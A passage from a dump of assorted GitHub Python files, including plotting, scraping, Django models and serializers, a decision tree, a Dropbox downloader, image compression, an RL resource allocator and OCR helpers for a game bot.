print(speedup_mean)\n print(time_percent)\n\n x = np.array([0.1 * i for i in range(1, 11)])\n fig, ax1 = plt.subplots()\n ax1.tick_params(bottom=False,top=False,left=False,right=False)\n ax1.xaxis.set_major_locator(ticker.MultipleLocator(0.1))\n width = 0.04\n b1 = ax1.bar(x - width / 2, speedup_mean, width=width, label=\"speedup rate\", color=\"#2c72b7\", edgecolor=\"black\", linewidth=0.6)\n ax2 = ax1.twinx()\n b2 = ax2.bar(x + width / 2, time_percent, width=width, label=\"runtime(%)\", color=\"#ca5b2e\", edgecolor=\"black\", linewidth=0.6)\n ax1.set_xlabel(\"CDF\", fontsize=fontsize)\n\n ax1.set_ylabel(\"speedup rate\", fontsize=fontsize)\n ax2.set_ylabel(\"runtime(%)\", fontsize=fontsize)\n\n ax1.tick_params(axis=\"y\", labelsize=fontsize)\n ax2.tick_params(axis=\"y\", labelsize=fontsize)\n plt.legend(handles=[b1, b2], fontsize=fontsize)\n plt.savefig(\"./\" + name + \"_version_3_old.pdf\")\n\ndef get_actual_time():\n times = []\n\n\n for name in names:\n trace_file = open(\"../trace/\" + name + \".json\", encoding=\"utf8\")\n res = trace_file.read()\n traces = json.loads(res)\n time = 0\n for trace in traces:\n if trace[\"pid\"] == \"CUDA functions\":\n time += trace[\"dur\"]\n times.append(time / 1000)\n\n print(times)\n\n\n\n\nif __name__ == \"__main__\":\n # print(c)\n # get_actual_time()\n for i, name in enumerate(names):\n draw(name + \"_speedup_pytorch.csv\", actual_times[i])\n\n","repo_name":"dos-lab/Talos","sub_path":"deprecated/pytorch-profiler/draw3/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":3773,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"22021062221","text":"from bs4 import BeautifulSoup\nfrom selenium import webdriver\n\ndef get_soup(url):\n driver = webdriver.Chrome(\"./chromedriver.exe\")\n driver.get(url)\n\n # wait some time so the table finishes loading\n # commented out because it seems redundant (it seems the opened\n # window from ChromeDriver won't be closed until the page gets\n # fully loaded)\n # driver.implicitly_wait(5)\n\n soup = BeautifulSoup(driver.page_source, \"html.parser\")\n driver.quit()\n\n return soup\n","repo_name":"peter1357908/web_scraper_examples","sub_path":"get_soup.py","file_name":"get_soup.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18660396711","text":"from openpyxl import load_workbook\nfrom origins.models import Event\nimport datetime\n\n\ndef run():\n events = set()\n print(\"Loading Origins Game Fair 2019 - Event Grid - Updated 4_4_19.xlsxinto DB\")\n wb = load_workbook(filename='Origins Game Fair 2019 - Event Grid - Updated 4_4_19.xlsx', read_only=True)\n ws = wb.get_active_sheet()\n\n first_row = True\n for row in ws.rows:\n if first_row:\n first_row = False\n continue\n try:\n event = Event.objects.get(number=row[0].value)\n except:\n event = Event(number=row[0].value)\n print(\"New Event %s\" % row[0].value)\n events.add(row[0].value)\n event.name = row[1].value\n event.description= row[2].value\n #'6/13/2018 12:00'\n event.start_date = row[3].value\n event.end_date = row[4].value\n event.category = row[6].value\n\n if type(row[9].value) is int:\n event.players = row[9].value\n else:\n event.players = 0\n if type(row[10].value) is int:\n event.price = row[10].value\n else:\n event.players = 0\n\n event.gaming_group = row[11].value or \"\"\n event.gamemaster = row[12].value or \"\"\n event.game_manufacture = row[13].value\n event.game_system = row[14].value\n event.save()\n\n\n #for event in Event.objects.exclude(number__in=events):\n # print(\"Removing Event %s - %s\" % (event.number, event.name))\n # event.delete()\n","repo_name":"gregsidelinger/origins","sub_path":"scripts/load_xlsx.py","file_name":"load_xlsx.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28695544023","text":"import pandas as pd\nimport numpy as np\nfrom node import Node\nfrom tree import Tree\nfrom func import module\n\n\nroot2 = Node(\"Hello\", None, None, None)\nobjModule = module()\nclass cart:\n\n def Cart(self, numOfnode, d, a, target_a):\n attribute_value = []\n arr1 = []\n arr2 = []\n gini = []\n\n for i in range(0, len(a)):\n dataset_split = d.groupby(a[i])\n arr1 = []\n\n for j, k in dataset_split:\n arr1.append(k)\n arr2.append(j)\n\n for j in range(0, len(arr1)):\n data1 = arr1[j]\n data2 = []\n for k in range(0, len(arr1)):\n if j != k:\n data2.append(arr1[k])\n\n data2 = pd.concat(data2)\n if len(gini) == 0:\n gini.append([a[i], arr2[j], objModule.gini(data1, data2, a[i], target_a)])\n gini_data1 = data1\n gini_data2 = data2\n elif objModule.gini(data1, data2, a[i], target_a) < gini[0][2]:\n gini.clear()\n gini.append([a[i], arr2[j], objModule.gini(data1, data2, a[i], target_a)])\n gini_data1 = data1\n gini_data2 = data2\n\n\n global root2\n root2 = Node(gini[0][0], None, None, None)\n current = root2\n attribute_value = gini_data1[current.attribute]\n attribute_value = list(attribute_value)\n attribute_value = np.unique(np.array(attribute_value))\n decision = gini_data1[target_a]\n decision = np.array(decision)\n if len(np.unique(decision)) == 1:\n current.children.append(Node(None, attribute_value, np.unique(decision)[0], None))\n\n attribute_value = gini_data2[current.attribute]\n attribute_value = list(attribute_value)\n attribute_value = np.unique(np.array(attribute_value))\n decision = gini_data2[target_a]\n decision = np.array(decision)\n if len(np.unique(decision)) == 1:\n current.children.append(Node(None, attribute_value, decision[0], None))\n\n \n \n print(\"CART is implemented..........\")\n print(\"\\n................Tree Generate...............\\n\")\n #Tree Print\n final_root = Tree(current.attribute)\n df_split = d.groupby(current.attribute)\n child = {}\n ch = []\n for i, j in df_split:\n ch.append(i)\n decision = j[target_a[0]]\n decision = np.array(decision)\n if len(np.unique(decision)) == 1:\n child[i] = decision[0]\n \n \n final_root.children = [Tree(ch[0]), Tree(ch[1])]\n final_root.children[0].children = [Tree(child[ch[0]])]\n final_root.children[1].children = [Tree(child[ch[1]])]\n \n print(str(final_root))\n return root2\n \n\n\n","repo_name":"sujana27/Lab","sub_path":"4.2/170227_Pattern_Lab_01/CART.py","file_name":"CART.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23404655465","text":"def average(prev_avg, x, n):\n return ((prev_avg * n + x) // (n + 1))\n\n\n# Prints average of a stream of numbers\ndef streamAvg(arr):\n n=len(arr)\n avg = 0\n for i in range(n):\n avg = average(avg, arr[i], i)\n print(\"Average of \", i + 1,\" numbers is \", avg)\n\n\narr=[99,95,97]\nD=streamAvg(arr)\n","repo_name":"tanu3102000/data_structures","sub_path":"arrays/average_num.py","file_name":"average_num.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27743813954","text":"from src.Status import Status\nfrom src.three_by_three_rules import three_by_three_win\n\n\nclass Board:\n\n def __init__(self, dimension, numbered=True, preview=True):\n self.board_list = []\n self.won = False\n # self.board.append([Status.none.value] * dimension)\n count = 1\n self.dimension = int(dimension)\n for i in range(self.dimension):\n for j in range(self.dimension):\n if numbered:\n self.board_list.append(count)\n else:\n self.board_list.append(Status.none.value)\n count = count + 1\n if preview:\n self.print_board()\n\n def move(self, move, player):\n move = int(move)\n if not self.check_valid_move(move):\n return False\n self.board_list[move-1] = Status[player].value\n # print(self.board_list)\n squares = self.check_win(self.board_list, self.dimension, player)\n if squares:\n if 0 in squares:\n # print(squares)\n self.print_board()\n print(\"DRAW.\")\n print(\"\\n%s WON.\" % player.upper())\n self.print_board(True, squares)\n self.won = True\n else:\n self.print_board()\n return True\n\n def check_valid_move(self, move):\n return self.board_list[move-1] is not Status.com.value and self.board_list[move-1] is not Status.user.value\n\n def draw_walls(self):\n wall = [\"| \"] * self.dimension\n wall.append(\"|\")\n draw_wall = \"\".join(wall)\n print(draw_wall)\n\n def draw_top(self):\n top = [\"____\"] * self.dimension\n top.append(\"_\")\n draw_top = \"\".join(top)\n print(draw_top)\n\n def draw_wall_bottom(self):\n wall_bottom = [\"|___\"]*self.dimension\n wall_bottom.append(\"|\")\n draw_wall_bottom = \"\".join(wall_bottom)\n print(draw_wall_bottom)\n\n def print_board(self, win=False, squares=None):\n if not win:\n print()\n self.draw_top()\n count = 0\n for i in range(self.dimension):\n self.draw_walls()\n m2 = []\n for j in range(self.dimension):\n m2_add = \"| \" + str(self.board_list[count]) + \" \"\n count = count + 1\n m2.append(m2_add)\n m2.append(\"|\")\n m2_draw = \"\".join(m2)\n print(m2_draw)\n self.draw_wall_bottom()\n else:\n # win\n print()\n self.draw_top()\n count = 0\n for i in range(self.dimension):\n self.draw_walls()\n m2 = []\n for j in range(self.dimension):\n if count+1 in squares:\n m2_add = \"| @ \"\n else:\n m2_add = \"| \" + str(self.board_list[count]) + \" \"\n count = count + 1\n m2.append(m2_add)\n m2.append(\"|\")\n m2_draw = \"\".join(m2)\n print(m2_draw)\n self.draw_wall_bottom()\n print()\n\n def check_win(self, board_list, dimension, player):\n return three_by_three_win(board_list, dimension, player)\n\n","repo_name":"kyle2277/Quiet_Dominator","sub_path":"src/Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":3308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"698301097","text":"from rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.validators import UniqueTogetherValidator\n\nfrom recipes.models import Ingredient, Recipe, User\n\nfrom .models import Favorite, Follow, Purchase\n\n\nclass IngredientSerializer(serializers.ModelSerializer):\n class Meta:\n model = Ingredient\n fields = [\"title\", \"dimension\"]\n\n\nclass FavoriteSerializer(serializers.ModelSerializer):\n id = serializers.SlugRelatedField(\n slug_field=\"id\", queryset=Recipe.objects.all(), source=\"recipe\"\n )\n follower = serializers.PrimaryKeyRelatedField(\n read_only=True, default=serializers.CurrentUserDefault()\n )\n\n class Meta:\n model = Favorite\n fields = [\"id\", \"follower\"]\n validators = [\n UniqueTogetherValidator(\n queryset=Favorite.objects.all(),\n fields=[\"follower\", \"id\"],\n message=\"This recipe are already in your favorite\",\n )\n ]\n\n def validate_id(self, value):\n follower = self.context[\"request\"].user\n if follower == value.author:\n raise ValidationError(\"You can not to add your recipe in favorite\")\n return value\n\n\nclass FollowSerializer(serializers.ModelSerializer):\n id = serializers.SlugRelatedField(\n slug_field=\"id\", queryset=User.objects.all(), source=\"following\"\n )\n follower = serializers.PrimaryKeyRelatedField(\n read_only=True, default=serializers.CurrentUserDefault()\n )\n\n class Meta:\n model = Follow\n fields = [\"id\", \"follower\"]\n validators = [\n UniqueTogetherValidator(\n queryset=Follow.objects.all(),\n fields=[\"follower\", \"id\"],\n message=\"You are already following this author\",\n )\n ]\n\n\nclass PurchaseSerializer(serializers.ModelSerializer):\n id = serializers.SlugRelatedField(\n slug_field=\"id\", queryset=Recipe.objects.all(), source=\"recipe\"\n )\n customer = serializers.PrimaryKeyRelatedField(\n read_only=True, default=serializers.CurrentUserDefault()\n )\n\n class Meta:\n model = Purchase\n fields = [\"id\", \"customer\"]\n validators = [\n UniqueTogetherValidator(\n queryset=Purchase.objects.all(),\n fields=[\"id\", \"customer\"],\n message=\"This recipe are already in your purchases\",\n )\n ]\n\n def validate_id(self, value):\n customer = self.context[\"request\"].user\n if customer == value.author:\n raise ValidationError(\n \"You can not to add your recipe in purchases\"\n )\n return value\n","repo_name":"koxximus/foodgram-project","sub_path":"foodgram/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"70568907032","text":"import dropbox\r\nimport os\r\nimport tempfile\r\nimport shutil\r\nfrom configs.settings import SettingsConfig\r\nfrom configs.secrets import SecretsConfig\r\nfrom .logger import Logger\r\nfrom configs.cache import Cache\r\n\r\n\r\nclass DownloadedFile:\r\n def __init__(self, full_path: str, path_display: str):\r\n self.path_display = path_display\r\n self.full_path = full_path\r\n\r\n\r\nclass DropboxFiles:\r\n def __init__(self):\r\n self.__dbx = dropbox.Dropbox(SecretsConfig().dropbox_token)\r\n self.temp_dir = os.path.join(tempfile.gettempdir(), \"mail_sender\")\r\n self.__logger = Logger().get_logger()\r\n self.__cache = Cache()\r\n\r\n def download_files(self):\r\n self.remove_temp_dir()\r\n self.__logger.info(\"Downloading files from \" + SettingsConfig().get().dropbox_invoices_dir)\r\n\r\n files = self.__get_files(SettingsConfig().get().dropbox_invoices_dir)\r\n\r\n for file in files:\r\n if file.path_display not in self.__cache.get_send_files():\r\n output = os.path.join(self.temp_dir, file.path_display[1:])\r\n if not os.path.exists(os.path.dirname(output)):\r\n os.makedirs(os.path.dirname(output))\r\n\r\n self.__logger.info(\"Downloading file \" + file.path_display + \" to \" + output)\r\n self.__dbx.files_download_to_file(output, file.path_display)\r\n\r\n yield DownloadedFile(output, file.path_display)\r\n\r\n def remove_temp_dir(self):\r\n if os.path.isdir(self.temp_dir):\r\n self.__logger.info(\"Removing temp dir \" + self.temp_dir)\r\n try:\r\n shutil.rmtree(self.temp_dir)\r\n except:\r\n self.__logger.warning(\"Error while deleting directory\")\r\n\r\n def __exit__(self, type, value, traceback):\r\n self.remove_temp_dir()\r\n\r\n def __enter__(self):\r\n return self\r\n\r\n def __get_files(self, dir):\r\n files = []\r\n response = self.__dbx.files_list_folder(\"/\" + dir)\r\n for file in response.entries:\r\n if self.__is_file(file):\r\n files.append(file)\r\n elif self.__is_folder(file):\r\n files.extend(self.__get_files(file.path_display))\r\n\r\n return files\r\n\r\n def __is_file(self, dropbox_meta):\r\n return isinstance(dropbox_meta, dropbox.dropbox.files.FileMetadata)\r\n\r\n def __is_folder(self, dropbox_meta):\r\n return isinstance(dropbox_meta, dropbox.dropbox.files.FolderMetadata)","repo_name":"arkadiuszneuman/HomeAutomationScript","sub_path":"services/PythonServices/MailSender/helpers/dropbox_files.py","file_name":"dropbox_files.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7160875265","text":"import os\nimport PIL\nfrom PIL import Image\nimport threading\n\ndef to_part(lst: list, num: int):\n chunk_size = len(lst) // num\n return [lst[i:i + chunk_size] for i in range(0, len(lst), chunk_size)]\n\n\ndef compress_images_default(directory=False, quality=60):\n if directory:\n os.chdir(directory)\n\n files = os.listdir()\n\n images = [file for file in files if file.endswith(('jpg', 'png'))]\n\n if not os.path.exists(\"compressed\"):\n os.mkdir(\"compressed\")\n\n for image in images:\n print(\"Current - \", image)\n\n img = Image.open(image)\n\n img.save(os.path.join(\"compressed\", f\"Compressed_{quality}q_\" + image), optimize=True, quality=quality)\n\n\ndef compress_images(directory=False, quality=60, threads=5):\n if directory:\n os.chdir(directory)\n\n files = os.listdir()\n\n images = [file for file in files if file.endswith(('jpg', 'png'))]\n\n if not os.path.exists(\"compressed\"):\n os.mkdir(\"compressed\")\n\n lst_images = to_part(images, threads)\n\n for images in lst_images:\n kwargs = {\"dir_to\": directory, \"images\": images, \"quality\": quality, \"prefix\": \"\"}\n th = threading.Thread(target=compress, kwargs=kwargs)\n th.start()\n\n\ndef compress(dir_to, images, quality, prefix):\n if dir_to:\n os.chdir(dir_to)\n for image in images:\n print(\"Current - \", image)\n\n img = Image.open(image)\n\n img.save(os.path.join(\"compressed\", prefix + image), optimize=True, quality=quality)","repo_name":"Dayrid/images_compressing","sub_path":"mass_compressing.py","file_name":"mass_compressing.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32400400323","text":"# alternative implementation supporting multiple states\nclass ValueItterationRL():\n def __init__(self, states, proxy_reward=0):\n self.states = states\n self.n_states = len(self.states)\n self.w = 0.1\n self.discount_factor = 0.8\n self.threshold = 0\n self.max_allocate_in_one_step = 100\n self.n = 20\n self.max_vent_requirement = 6000\n self.ratio_step = 0.1\n \n self.reward_state = {}\n self.vals = {}\n \n def update_proxy_rewards(self, largest_observed, state_status_dict, vent_need_dict):\n for state in self.states:\n proxy_val = largest_observed[state]\n self.reward_state[state] = self.create_reward_proxy(proxy_val, self.n)\n self.vals[state] = self.optimal_value_iteration(self.max_vent_requirement, self.max_allocate_in_one_step, self.n, self.ratio_step, self.reward_state[state])\n \n def get_action(self, venti_available, venti_required, state_allocation_limit, federal_available, federal_transfer_limit):\n #print(\"Stage 2\")\n #state_to_state = self.optimal_policy(venti_available, venti_required, self.n, self.ratio_step, self.max_allocate_in_one_step, self.n_states, vals1, vals2, vals3, vals4, state_allocation_limit)\n #state_to_state = self.optimal_policy_new(venti_available, venti_required, self.n, self.ratio_step, self.max_allocate_in_one_step, self.n_states, self.vals1, self.vals2, self.vals3, self.vals4, state_allocation_limit)\n (state_to_state, _) = self.optimal_policy_fed(venti_available, venti_required, self.n, self.ratio_step, self.max_allocate_in_one_step, self.n_states, state_allocation_limit, federal_available, federal_transfer_limit)\n return state_to_state\n \n def next_state(self, venti_avail, venti_need):\n state = venti_avail/venti_needed\n return state\n \n def find_where_it_fits(self,ratio, max_states, increment):\n max_val = increment*max_states\n min_val = 0\n i = 0\n ratio_steps = []\n while i < max_states:\n ratio_steps.append(i*increment)\n i = i + 1\n ratio_steps = np.asarray(ratio_steps)\n min_diff = float('inf')\n index = -1\n for j in range(0,max_states):\n diff = abs(ratio - ratio_steps[j])\n if diff < min_diff:\n min_diff = diff\n index = j\n return index\n \n def create_reward_proxy(self,population_density, n):\n #https://en.wikipedia.org/wiki/List_of_states_and_territories_of_the_United_States_by_population_density#2015_density_(states,_territories_and_DC)\n reward_state = np.zeros(n)\n for i in range(0,20):\n reward_state[i] = 0.1*i*population_density - population_density\n if reward_state[i] > 0:\n reward_state[i] = 0\n return reward_state\n \n def optimal_value_iteration(self,max_vent_requirement, max_allocate_in_one_step, n, ratio_step, reward):\n i = 0\n vent_steps = []\n while i < max_vent_requirement/max_allocate_in_one_step:\n vent_steps.append(i*max_allocate_in_one_step)\n i = i + 1\n vent_steps = np.asarray(vent_steps)\n i = 0\n ratio_steps = []\n while i < n:\n ratio_steps.append(i*ratio_step)\n i = i + 1\n ratio_steps = np.asarray(ratio_steps)\n values = np.zeros((n))\n delta = float('inf')\n while delta > self.threshold:\n delta = 0\n for j in range(0, n):\n v = values[j]\n if j == 0:\n reward_backward = reward[j]\n val_backward = values[j]\n reward_stay = reward[j]\n reward_forward = reward[j+1]\n val_backward = values[j]\n val_stay = values[j]\n val_forward = values[j+1]\n elif j == n-1:\n reward_backward = reward[j-1]\n reward_stay = reward[j]\n reward_forward = reward[j]\n val_backward = values[j-1]\n val_stay = values[j]\n val_forward = values[j]\n else:\n reward_backward = reward[j-1]\n reward_stay = reward[j]\n reward_forward = reward[j+1]\n val_backward = values[j-1]\n val_stay = values[j]\n val_forward = values[j+1]\n total_reward_backward = reward_backward + self.discount_factor*val_backward\n total_reward_forward = reward_forward + self.discount_factor*val_forward\n total_reward_stay = reward_stay + self.discount_factor*val_stay\n values[j] = max(total_reward_backward, total_reward_stay, total_reward_forward)\n delta = max(delta, abs(v - values[j]))\n return(values)\n \n def optimal_policy_fed(self, venti_available, venti_required, max_states, increment, max_allocate_in_one_step, n_states, state_allocation_limit, fed_pile, fed_pile_limit):\n state_to_state = np.zeros((n_states+1,n_states+1)) # state_to_state transfer matrix\n state_state_dict = {}\n where_state_dict = {}\n where_state_dict_get = {}\n reward_array_get = []\n for i in range(len(self.states)):\n state = self.states[i]\n state_state_dict[state] = venti_available[i]/venti_required[i]\n where_state_dict[state] = self.find_where_it_fits(state_state_dict[state], max_states, increment)\n where_state_dict_get[state] = self.find_where_it_fits((venti_available[i]+max_allocate_in_one_step)/venti_required[i],max_states,increment)\n reward_tmp = self.vals[state][where_state_dict_get[state]]\n reward_array_get.append(reward_tmp)\n \n reward_array_get = np.asarray(reward_array_get)\n args_get = np.argsort(reward_array_get)\n\n vent_actual_available = []\n vent_actual_needed = []\n for i in range(0,len(venti_required)):\n vent_actual_available.append(venti_available[i] - venti_required[i])\n vent_actual_needed.append(venti_required[i] - venti_available[i])\n vent_actual_available = np.asarray(vent_actual_available)\n vent_actual_needed = np.asarray(vent_actual_needed)\n\n state_get = [-1,-1]\n state_give = [-1,-1]\n state_get = np.asarray(state_get)\n state_give = np.asarray(state_give)\n \n\n flag = 0\n run = 0\n while flag < 2 and run < 4:\n for arg in args_get:\n run = run + 1\n if vent_actual_needed[arg] > 0 and flag < 2:\n state_get[flag] = arg\n flag = flag + 1\n\n flag1 = 0\n run1 = 0\n while flag1 < 2 and run1 < 4:\n for arg in args_get:\n if arg not in state_get:\n run1 = run1 + 1\n if vent_actual_available[arg] > 0 and flag1 < 2:\n state_give[flag1] = arg\n flag1 = flag1 + 1\n\n for i in range(0, len(state_get)):\n fed_flag = 0\n for j in range(0, len(state_give)):\n if state_get[i] != -1 and state_give[j] != -1:\n state_to_state[state_give[j], state_get[i]] = state_allocation_limit[state_give[j]]\n if fed_flag == 0 and fed_pile > fed_pile_limit:\n state_to_state[n_states, state_get[i]] = state_to_state[n_states, state_get[i]] + fed_pile_limit\n fed_pile = fed_pile - fed_pile_limit\n fed_flag = 1\n elif fed_flag == 0 and fed_pile < fed_pile_limit:\n state_to_state[n_states, state_get[i]] = state_to_state[n_states, state_get[i]] + fed_pile\n fed_pile = 0\n fed_flag = 1\n\n\n #print(state_get)\n #print(state_give)\n return (np.floor(state_to_state), fed_pile)","repo_name":"bbednarski9/covid_resource_RL","sub_path":"source/ValueItterationRL.py","file_name":"ValueItterationRL.py","file_ext":"py","file_size_in_byte":8133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"29812760111","text":"from django.db import models\n\n\nclass Musician(models.Model):\n name = models.CharField(verbose_name=\"Исполнитель\",\n max_length=25)\n information = models.TextField(verbose_name=\"Информация\",\n blank=True,\n null=True)\n\n class Meta:\n verbose_name = \"Исполнитель\"\n verbose_name_plural = \"Исполнители\"\n\n def __str__(self):\n return self.name\n\n\nclass Genre(models.Model):\n name = models.CharField(verbose_name=\"Жанр\",\n max_length=25)\n\n class Meta:\n verbose_name = \"Жанр\"\n verbose_name_plural = \"Жанры\"\n\n def __str__(self):\n return self.name\n\n\nclass Album(models.Model):\n name = models.CharField(verbose_name=\"Альбом\",\n max_length=25)\n\n class Meta:\n verbose_name = \"Альбом\"\n verbose_name_plural = \"Альбомы\"\n\n def __str__(self):\n return self.name\n\n\nclass Song(models.Model):\n name = models.CharField(verbose_name=\"Песня\",\n max_length=25)\n lyrics = models.TextField(verbose_name=\"Текст песни\",\n blank=True,\n null=True)\n lyrics_ru = models.TextField(verbose_name=\"Текст песни на русском\",\n blank=True,\n null=True)\n\n musician = models.ForeignKey(\"Musician\",\n verbose_name=\"Исполнитель\",\n related_name=\"musician_songs\",\n on_delete=\"CASCADE\")\n album = models.ForeignKey(\"Album\",\n verbose_name=\"Альбом\",\n related_name=\"album_songs\",\n on_delete=\"CASCADE\")\n genre = models.ForeignKey(\"Genre\",\n verbose_name=\"Жанр\",\n related_name=\"genre_songs\",\n on_delete=\"CASCADE\")\n\n class Meta:\n verbose_name = \"Песня\"\n verbose_name_plural = \"Песни\"\n\n def __str__(self):\n return self.name\n","repo_name":"PaGr0m/Courses-FogStream-","sub_path":"Practice_9/mysite/apps/discography/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19026898547","text":"from calendar import c\nfrom re import X\nfrom tkinter import Image\n\nfrom cv2 import resize\nimport coordinates\nimport champions\nimport comps\nimport controlMode\n\nfrom PIL import ImageGrab\nimport time\nimport pyautogui\nimport os\nimport cv2 as cv\nimport mss\nimport numpy\nimport pytesseract\n\nif(controlMode.tobi_pc):\n pytesseract.pytesseract.tesseract_cmd = r'C://Program Files//Tesseract-OCR//tesseract.exe'\nif(controlMode.benni_pc):\n pytesseract.pytesseract.tesseract_cmd = r'C://Users//Bennitim//AppData//Local//Tesseract-OCR//tesseract.exe'\n\ndef take_screenshot():\n screenshot = pyautogui.screenshot()\n screenshot.save('pictures/screen2.png')\n if(controlMode.tobi_pc): \n file_name = os.path.join(os.path.dirname(__file__), 'C:/Users/tobia/git-projects/tft-bot/pictures/screen2.png')\n if(controlMode.benni_pc):\n file_name = os.path.join(os.path.dirname(__file__), 'C:/Users/Bennitim/tft-bot/pictures/screen2.png')\n assert os.path.exists(file_name) \n img = cv.imread(file_name)\n # cv.imshow(\"thresholding\", img)\n # cv.waitKey(0)\n return img\n\ntime.sleep(1)\n#take_screenshot()\n\ndef lack_for_a_better_name(coord, img):\n tuple1 = coord[0]\n tuple2 = coord[1]\n row1 = tuple1[1]\n row2 = tuple2[1]\n col1 = tuple1[0]\n col2 = tuple2[0]\n\n crop_image = img[row1:row2, col1:col2]\n text = pytesseract.image_to_string(crop_image)\n text_str = str(text)\n return text_str\n\n# possibility 2 to get text with ocr\n# taking screenshot wit mss for function get_text_advanced\nsct = mss.mss()\ndef change_coords_format(coords):\n topLeft = coords[0]\n bottomRight = coords[1]\n newFormat = {'left': topLeft[0], 'top': topLeft[1], 'width': bottomRight[0] - topLeft[0], 'height': bottomRight[1] - topLeft[1]}\n #newFormat = {'left': topLeft[0], 'top': topLeft[1], 'width': bottomRight[0], 'height': bottomRight[1]}\n return newFormat\n\ndef image_resize(scale, image):\n (width, height) = (image.width * scale, image.height * scale)\n return image.resize((width, height))\n\ndef image_array(image):\n image = numpy.array(image)\n image = image[..., :3]\n return image\n\ndef image_grayscale(image):\n return cv.cvtColor(image, cv.COLOR_BGR2GRAY)\n\ndef image_thresholding(image):\n return cv.threshold(image, 255, 255, cv.THRESH_BINARY_INV + cv.THRESH_OTSU)[1]\n\ndef image_thresholding_champ_name(image):\n return cv.threshold(image, 200, 255, cv.THRESH_BINARY_INV)[1]\n\ndef get_num_advanced(coords) -> str:\n coordsWidLen = change_coords_format(coords)\n screenshot = sct.grab(coordsWidLen)\n array = image_array(screenshot)\n grayscale = image_grayscale(array)\n thresholding = image_thresholding(grayscale)\n return pytesseract.image_to_string(thresholding, config='--psm 10 -c tessedit_char_whitelist=0123456789').strip()\n\ndef get_text_advanced(coords) -> str:\n coordsWidLen = change_coords_format(coords)\n screenshot = sct.grab(coordsWidLen)\n array = image_array(screenshot)\n grayscale = image_grayscale(array)\n thresholding = image_thresholding(grayscale)\n return pytesseract.image_to_string(thresholding, config='--psm 10 -c tessedit_char_whitelist=').strip()\n\n# taking screenshot with ImageGrab\ndef change_coords_ImageGrab(coords):\n coord1 = coords[0]\n coord2 = coords[1]\n newCoords = (coord1[0], coord1[1], coord2[0], coord2[1])\n return newCoords\n\ndef get_treasure_dragon_options_ImageGrab(scale):\n names = []\n for i in range(0, 9, 2):\n coordsdiffFormat = change_coords_ImageGrab((coordinates.option_names_treasure_dragon[i], coordinates.option_names_treasure_dragon[i + 1]))\n screenshot = ImageGrab.grab(coordsdiffFormat)\n resize = image_resize(scale, screenshot)\n array = image_array(resize)\n grayscale = image_grayscale(array)\n thresholding = image_thresholding(grayscale)\n # cv.imshow(\"thresholding\", thresholding)\n # cv.waitKey(0)\n name = pytesseract.image_to_string(thresholding, config='--psm 6 -c tessedit_char_whitelist=').strip()\n print(name)\n\n # filter unwanted characters such as space and line breaks\n print(name)\n if(\" \" in name):\n name = name.replace(' ', '')\n print(\"replaced space\")\n\n if(\"\\n\" in name):\n name = name.replace('\\n', '')\n print(\"replaced line break\")\n\n if(\"'\" in name):\n name = name.replace(\"'\", \"\")\n print(\"replaced '\")\n\n names.append(name)\n return names\n\ndef get_text_ImageGrab(coords, scale, psm_num, whitelist) -> str:\n coordsdiffFormat = change_coords_ImageGrab(coords)\n screenshot = ImageGrab.grab(coordsdiffFormat)\n # cv.imshow(\"s\", screenshot)\n # cv.waitKey(0)\n resize = image_resize(scale, screenshot)\n array = image_array(resize)\n grayscale = image_grayscale(array)\n thresholding = image_thresholding(grayscale)\n # cv.imshow(\"thresholding\", thresholding)\n # cv.waitKey(0)\n return pytesseract.image_to_string(thresholding, config='--psm ' + psm_num + ' -c tessedit_char_whitelist=' + whitelist).strip()\n\ndef get_text_ImageGrab_champ_names(coords, scale):\n coordsdiffFormat = change_coords_ImageGrab(coords)\n screenshot = ImageGrab.grab(coordsdiffFormat)\n resize = image_resize(scale, screenshot)\n array = image_array(resize)\n grayscale = image_grayscale(array)\n thresholding = image_thresholding_champ_name(grayscale)\n # cv.imshow(\"thresholding\", thresholding)\n # cv.waitKey(0)\n return pytesseract.image_to_string(thresholding, config='--psm 8 -c tessedit_char_whitelist=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.').strip()\n\ndef image_resize2(scale, img, width, height):\n (width, height) = (width * scale, height * scale)\n print(width)\n print(height)\n return img.resize((width, height))\n\ndef get_text_from_image(img, scale, width, height):\n array = image_array(img)\n grayscale = image_grayscale(array)\n thresholding = image_thresholding_champ_name(grayscale)\n # cv.imshow(\"thresholding\", thresholding)\n # cv.waitKey(0)\n return pytesseract.image_to_string(thresholding, config='--psm 8 -c tessedit_char_whitelist=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.').strip()\n\n# functions using templates\n# source: https://stackoverflow.com/questions/7853628/how-do-i-find-an-image-contained-within-an-image\ndef find_lots_of_orbs(orb_type):\n screenshot = pyautogui.screenshot()\n screenshot.save('pictures/screen.png')\n\n screen = cv.imread('pictures/screen.png')\n if(orb_type == 'common'):\n template = 